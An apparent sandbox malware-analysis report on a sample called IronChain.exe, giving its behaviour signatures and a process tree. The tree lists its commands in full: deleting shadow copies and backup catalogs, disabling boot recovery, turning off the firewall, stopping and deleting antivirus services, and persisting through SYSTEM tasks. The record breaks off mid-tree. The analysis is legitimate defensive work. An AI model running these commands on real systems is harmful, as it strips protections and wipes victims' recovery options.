Analysis
- max time kernel
898s - max time network
342s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260911-en - resource tags
- submitted
28/10/2026, 14:16
General
- Target IronChain.exe
- Size 17.0MB
- Sample261028-rlht8sdw7j
- SHA256 cf5182d939bdbe023f6af72c30c35a03b23f3e0e79d39d01140e82f62a3a8024
Score
9/10
Malware Config
Signatures
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Modifies boot configuration data using bcdedit 1 TTPs 41 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Deletes backup catalog 3 TTPs 15 IoCs
Uses wbadmin.exe to inhibit system recovery.
- Modifies Windows Firewall 2 TTPs 37 IoCs
- Creates new service(s) 2 TTPs
- Disables service(s) 3 TTPs
- Executes dropped EXE 8 IoCs
- Loads dropped DLL 64 IoCs
- Modifies file permissions 1 TTPs 64 IoCs
- Stops running service(s) 4 TTPs
- Looks up external IP address via web service 1 TTPs 6 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Discovers running processes 1 TTPs 64 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
- Drops file in System32 directory 4 IoCs
- Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
- Launches sc.exe 64 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Executes a command shell one-liner 1 TTPs 64 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 18 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- Interacts with shadow copies 3 TTPs 15 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Kills process with taskkill 64 IoCs
- Opens file in notepad (likely ransom note) 8 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 23 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe"2⤵
- Loads dropped DLL
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "MIi4crrKo4sSoVf2tgSheccjuprkiPtty" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "MIi4crrKo4sSoVf2tgSheccjuprkiPtty" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "MIi4crrKo4sSoVf2tgSheccjuprkiPtty""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "MIi4crrKo4sSoVf2tgSheccjuprkiPtty"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop EventLog4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc config EventLog start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop Resmon4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc config Resmon start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /reset"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /reset4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /inheritance:d"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /inheritance:d4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /remove "Administrators""3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /remove "Administrators"4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /remove "Admin""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /remove "Admin"4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /remove "Authenticated Users""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /remove "Authenticated Users"4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /grant "Users:RX""3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /grant "Users:RX"4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /inheritance:d"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /inheritance:d4⤵
- Modifies file permissions
-
-
-
C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exeC:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe --old-path C:\Users\Admin\AppData\Local\Temp\IronChain.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exeC:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe --old-path C:\Users\Admin\AppData\Local\Temp\IronChain.exe4⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "WkiQnudzoPwUs2UMpZdza0tveOSSvGc" /tr "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe --old-path C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"5⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "WkiQnudzoPwUs2UMpZdza0tveOSSvGc" /tr "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe --old-path C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "WkiQnudzoPwUs2UMpZdza0tveOSSvGc""5⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "WkiQnudzoPwUs2UMpZdza0tveOSSvGc"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"5⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off6⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"5⤵
-
C:\Windows\system32\sc.exesc stop EventLog6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"5⤵
-
C:\Windows\system32\sc.exesc config EventLog start= disabled6⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"5⤵
-
C:\Windows\system32\sc.exesc stop Resmon6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"5⤵
-
C:\Windows\system32\sc.exesc config Resmon start= disabled6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic process where "ExecutablePath='C:\Users\Admin\AppData\Local\Temp\IronChain.exe'" get ProcessId 2>nul"5⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic process where "ExecutablePath='C:\Users\Admin\AppData\Local\Temp\IronChain.exe'" get ProcessId6⤵
-
-
-
C:\Windows\System32\net.exenet stop AVP /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config AVP start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete AVP5⤵
-
-
C:\Windows\System32\net.exenet stop KAV /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAV /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config KAV start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete KAV5⤵
-
-
C:\Windows\System32\net.exenet stop BDSS /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BDSS /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config BDSS start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete BDSS5⤵
-
-
C:\Windows\System32\net.exenet stop Bitdefender /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Bitdefender /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config Bitdefender start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete Bitdefender5⤵
-
-
C:\Windows\System32\net.exenet stop "avast! Antivirus" /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Antivirus" /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config "avast! Antivirus" start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete "avast! Antivirus"5⤵
-
-
C:\Windows\System32\net.exenet stop "avast! Service" /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Service" /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config "avast! Service" start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete "avast! Service"5⤵
-
-
C:\Windows\System32\net.exenet stop AVG /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVG /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config AVG start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete AVG5⤵
-
-
C:\Windows\System32\net.exenet stop MBAMService /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MBAMService /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config MBAMService start= disabled5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc delete MBAMService5⤵
-
-
C:\Windows\System32\net.exenet stop DrWeb /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DrWeb /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config DrWeb start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete DrWeb5⤵
-
-
C:\Windows\System32\net.exenet stop wscsvc /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wscsvc /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config wscsvc start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete wscsvc5⤵
-
-
C:\Windows\System32\net.exenet stop SecurityHealthService /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SecurityHealthService /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config SecurityHealthService start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete SecurityHealthService5⤵
-
-
C:\Windows\System32\net.exenet stop Sense /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sense /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config Sense start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete Sense5⤵
-
-
C:\Windows\System32\net.exenet stop WinDefend /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config WinDefend start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete WinDefend5⤵
-
-
C:\Windows\System32\net.exenet stop WdNisSvc /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WdNisSvc /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config WdNisSvc start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete WdNisSvc5⤵
-
-
C:\Windows\System32\net.exenet stop MpKslDrv /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MpKslDrv /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config MpKslDrv start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete MpKslDrv5⤵
-
-
C:\Windows\System32\net.exenet stop NisSrv /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NisSrv /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config NisSrv start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete NisSrv5⤵
-
-
C:\Windows\System32\net.exenet stop EventLog /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EventLog /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config EventLog start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete EventLog5⤵
- Launches sc.exe
-
-
C:\Windows\System32\net.exenet stop swprv /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop swprv /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config swprv start= disabled5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
C:\Windows\System32\sc.exesc delete swprv5⤵
- Launches sc.exe
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wbadmin delete catalog -quiet"5⤵
-
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet6⤵
- Deletes backup catalog
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"5⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off6⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq Taskmgr.exe" /fo csv /nh5⤵
- Discovers running processes
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im Taskmgr.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"5⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet6⤵
- Interacts with shadow copies
-
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq regedit.exe" /fo csv /nh5⤵
- Discovers running processes
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im regedit.exe5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled no"5⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no6⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"5⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures6⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq cmd.exe" /fo csv /nh5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} safemode minimal"5⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} safemode minimal6⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config swprv start= disabled"5⤵
-
C:\Windows\system32\sc.exesc config swprv start= disabled6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop swprv"5⤵
-
C:\Windows\system32\sc.exesc stop swprv6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "Add-MpPreference -ExclusionPath "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe""5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc create MziTcirpomsKoefCtxSAeHcXuOrIintHy binPath= "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" start= auto DisplayName= "SFyas1t5enm8HtoqsotADEayemm3oOn""5⤵
-
C:\Windows\system32\sc.exesc create MziTcirpomsKoefCtxSAeHcXuOrIintHy binPath= "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" start= auto DisplayName= "SFyas1t5enm8HtoqsotADEayemm3oOn"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc description MziTcirpomsKoefCtxSAeHcXuOrIintHy "Trusted security module""5⤵
-
C:\Windows\system32\sc.exesc description MziTcirpomsKoefCtxSAeHcXuOrIintHy "Trusted security module"6⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc start MziTcirpomsKoefCtxSAeHcXuOrIintHy"5⤵
-
C:\Windows\system32\sc.exesc start MziTcirpomsKoefCtxSAeHcXuOrIintHy6⤵
-
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im cmd.exe5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc failure MziTcirpomsKoefCtxSAeHcXuOrIintHy reset= 86400 actions= restart/5000/restart/5000/restart/5000"5⤵
-
C:\Windows\system32\sc.exesc failure MziTcirpomsKoefCtxSAeHcXuOrIintHy reset= 86400 actions= restart/5000/restart/5000/restart/50006⤵
-
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq msconfig.exe" /fo csv /nh5⤵
- Discovers running processes
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc critical MziTcirpomsKoefCtxSAeHcXuOrIintHy"5⤵
-
C:\Windows\system32\sc.exesc critical MziTcirpomsKoefCtxSAeHcXuOrIintHy6⤵
-
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im msconfig.exe5⤵
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq procexp.exe" /fo csv /nh5⤵
- Discovers running processes
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im procexp.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq procexp64.exe" /fo csv /nh5⤵
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im procexp64.exe5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /reset"5⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /reset6⤵
- Modifies file permissions
-
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq mmc.exe" /fo csv /nh5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /inheritance:d"5⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /inheritance:d6⤵
- Modifies file permissions
-
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im mmc.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /remove "Administrators""5⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /remove "Administrators"6⤵
-
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq SystemSettings.exe" /fo csv /nh5⤵
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im SystemSettings.exe5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /remove "Admin""5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic process where "ExecutablePath='C:\Users\Admin\AppData\Local\Temp\IronChain.exe'" get ProcessId 2>nul"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic process where "ExecutablePath='C:\Users\Admin\AppData\Local\Temp\IronChain.exe'" get ProcessId4⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SYSTEM32\net.exenet stop AVP /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config AVP start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete AVP3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop KAV /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAV /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config KAV start= disabled3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc delete KAV3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exenet stop BDSS /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BDSS /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config BDSS start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete BDSS3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop Bitdefender /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Bitdefender /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config Bitdefender start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete Bitdefender3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop "avast! Antivirus" /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Antivirus" /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config "avast! Antivirus" start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete "avast! Antivirus"3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet stop "avast! Service" /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Service" /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config "avast! Service" start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete "avast! Service"3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop AVG /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVG /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config AVG start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete AVG3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop MBAMService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MBAMService /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config MBAMService start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete MBAMService3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop DrWeb /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DrWeb /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config DrWeb start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete DrWeb3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop wscsvc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wscsvc /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config wscsvc start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete wscsvc3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop SecurityHealthService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SecurityHealthService /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config SecurityHealthService start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete SecurityHealthService3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop Sense /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sense /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config Sense start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete Sense3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop WinDefend /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete WinDefend3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop WdNisSvc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WdNisSvc /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config WdNisSvc start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete WdNisSvc3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop MpKslDrv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MpKslDrv /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config MpKslDrv start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete MpKslDrv3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop NisSrv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NisSrv /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config NisSrv start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete NisSrv3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop EventLog /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EventLog /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config EventLog start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete EventLog3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop swprv /y3⤵
-
